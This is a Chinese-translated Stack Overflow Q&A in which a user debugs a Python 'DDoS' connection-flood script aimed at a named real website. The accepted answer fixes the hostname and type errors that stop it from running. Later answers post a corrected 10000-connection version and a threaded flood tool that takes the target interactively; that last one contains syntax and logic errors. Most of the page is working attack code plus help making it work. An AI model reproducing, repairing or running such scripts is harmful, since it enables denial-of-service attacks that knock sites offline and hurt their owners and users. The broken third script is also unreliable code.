首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >在python脚本运行时获取错误

在python脚本运行时获取错误
EN

Stack Overflow用户
提问于 2013-12-29 14:37:03
回答 3查看 7.7K关注 0票数 1

我正试图攻击我的服务器,我有一个小小的ddos python脚本。但不幸的是,我得到了一个错误:

代码语言:javascript
复制
ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed

知道怎么解决这个问题吗?

这就是剧本:

代码语言:javascript
复制
import time, socket, os, sys, string

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"
EN

回答 3

Stack Overflow用户

回答已采纳

发布于 2013-12-29 14:38:15

主机名应该是主机名(hajnalgroup.com),而不是url (http://hajnalgroup.com)。

代码语言:javascript
复制
>>> import socket
>>> socket.gethostbyname("http://hajnalgroup.com")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
socket.gaierror: [Errno 11004] getaddrinfo failed
>>> socket.gethostbyname("hajnalgroup.com")
'89.134.187.222'

替换以下一行:

代码语言:javascript
复制
host = "http://hajnalgroup.com"

通过以下方式:

代码语言:javascript
复制
host = "hajnalgroup.com"

更新

range函数的所有参数都应该是int对象:

代码语言:javascript
复制
>>> range(1, 10)
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> range(1, "10")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: range() integer end argument expected, got str.

conn = "100"替换为conn = 100

票数 4
EN

Stack Overflow用户

发布于 2016-02-12 13:57:56

端口号也应该是一个数字。

代码语言:javascript
复制
import time, socket, os, sys, string
import subprocess

def restart_program():
    subprocess.call(['python', 'main.py'])

print ("DDoS mode loaded")
host = "YOUR_SITE.com"
port = 80
message = "+---------------------------+"
conn = 10000
ip = socket.gethostbyname(host)
print "[" + ip + "]"
print "[Ip is locked]"
print "[Attacking " + host + "]"
print message
def dos():
    # pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send(message)
        ddos.sendto(message, (ip, port))
        ddos.send(message)
    except socket.error:
        print("|[Connection Failed] |")
    print ("|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print message
print("The connections you requested had finished")
print message
if __name__ == "__main__":
    print "Do you want to ddos more?"
    answer = raw_input()
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

您还应该使用subprocess重新启动dos脚本,这对于多操作系统来说更好。

票数 3
EN

Stack Overflow用户

发布于 2021-09-26 11:30:00

DDos Python

代码语言:javascript
复制
#!/usr/bin/python3
import socket, sys, os, threading, platform
def cls():
    if platform.system() == 'Linux':
      os.system("clear")
    else:
         os.system("cls")
def main():
    cls()
    print("--- DDos Attack ---\n")
    host = input("Enter Host: ")
    port = int(input("\nEnter Port: ")
    print("\n")
    def portscanner(x):
        ip = socket.gethostbyname(host)
        print(f"Ip: {ip}\n")
        while True:
             s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
             ch = s.connect_ex((host,port))
             print(f"Packet Send To {ip}")
        for j in range(10): 
           t = threading.Thread(target=portscanner,args=[j]
           t.start()

if __name__ == '__main__':
  try:
     main()
  except (KeyboardInterrupt,EOFError):
      print("\nStop !!!")
      sys.exit()

票数 -1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/20826228

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档